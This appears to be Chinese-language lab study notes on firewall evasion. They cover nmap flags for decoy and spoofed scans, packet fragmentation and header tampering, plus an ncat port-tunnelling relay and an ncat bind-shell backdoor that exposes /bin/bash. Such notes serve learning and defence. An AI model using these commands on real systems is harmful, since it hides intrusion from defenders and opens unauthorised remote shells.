控制源 MAC/IP/Port 进行规避
:::info
- 通过控制源 MAC/IP/端口进行规避
- 通过碎片、MTU和数据长度进行规避
- 通过修改头部字段进行规避
:::
控制源 MAC/IP/端口进行规避
我们可以使用 nmap 进行扫描
规避方法 | Nmap 参数 |
---|---|
使用诱饵隐藏扫描 | -D DECOY1_IP1,DECOY_IP2,ME |
使用随机诱饵隐藏扫描 | -D RND,RND,ME |
使用 HTTP/SOCKS4 代理来中继连接 | —proxies PROXY_URL |
欺骗源MAC地址 | —spoof-mac MAC_ADDRESS |
欺骗源IP地址 | -S IP_ADDRESS |
使用特定的源端口号 | -g PORT_NUM或者—source-port PORT_NUM |
通过碎片、MTU和数据长度进行规避
规避方法 | Nmap 参数 |
---|---|
将 IP 数据分段为 8 个字节 | -f |
将 IP 数据分段为 16 个字节 | -ff |
使用给定的MTU对数据包进行分段 | —mtu VALUE |
指定数据包长度 | —data-length NUM |
修改 HTTP 头部字段
规避方法 | Nmap 参数 |
---|---|
设置 IP 生存时间字段 | —ttl VALUE |
发送具有指定 IP 选项的数据包 | —ip-options OPTIONS |
发送带有错误 TCP/UDP 校验和的数据包 | —badsum |
使用端口跳跃
:::info
三种常见的防火墙规避技术是:- 端口跳跃
- 端口隧道
- 使用非标准端口
:::
端口跳跃
端口跳跃是一种应用程序从一个端口跳到另一个端口直到它可以建立和维持连接的技术。换句话说,应用程序可能会尝试不同的端口,直到它可以成功建立连接。一些“合法”应用程序使用此技术来避开防火墙。在下图中,客户端不断尝试不同的端口到达服务器,直到它发现一个未被防火墙阻止的目标端口。端口隧道
:::info
端口隧道也称为端口转发和端口映射。简单来说,这种技术将发送到一个目的端口的数据包转发到另一个目的端口。例如,发送到一个系统上的 80 端口的数据包被转发到另一个系统上的 8080 端口。:::
考虑这样一种情况,您在防火墙后面有一台您无法从外部访问的服务器。但是,您发现防火墙不会阻止特定端口。您可以通过不同的端口隧道传输流量来利用这些知识。 考虑以下情况。我们有一个SMTP服务器监听端口 25;但是,我们无法连接到 SMTP 服务器,因为防火墙阻止了从 Internet 发送到目标端口 25 的数据包。我们发现发送到目标端口 443 的数据包没有被阻止,因此我们决定利用这一点并将我们的数据包发送到端口443,在它们通过防火墙后,我们将它们转发到端口 25。假设我们可以在防火墙后面的系统之一上运行我们选择的命令。我们可以使用该系统使用以下命令将我们的数据包转发到 SMTP 服务器
ncat -lvnp 443 -c "ncat TARGET_SERVER 25"
结果,ncat
将在端口 443 上侦听,但它将所有数据包转发到目标服务器上的端口 25。因为在这种情况下,防火墙会阻止 25 端口并允许 443 端口,所以端口隧道是一种有效的绕过防火墙的方法。
使用非标准端口
ncat -lvnp PORT_NUMBER -e /bin/bash
将通过指定的端口号创建一个后门,让您与 Bash shell 进行交互。
在 AttackBox 上,我们可以运行 ncat MACHINE_IP PORT_NUMBER
以连接到目标机器并与其 shell 交互。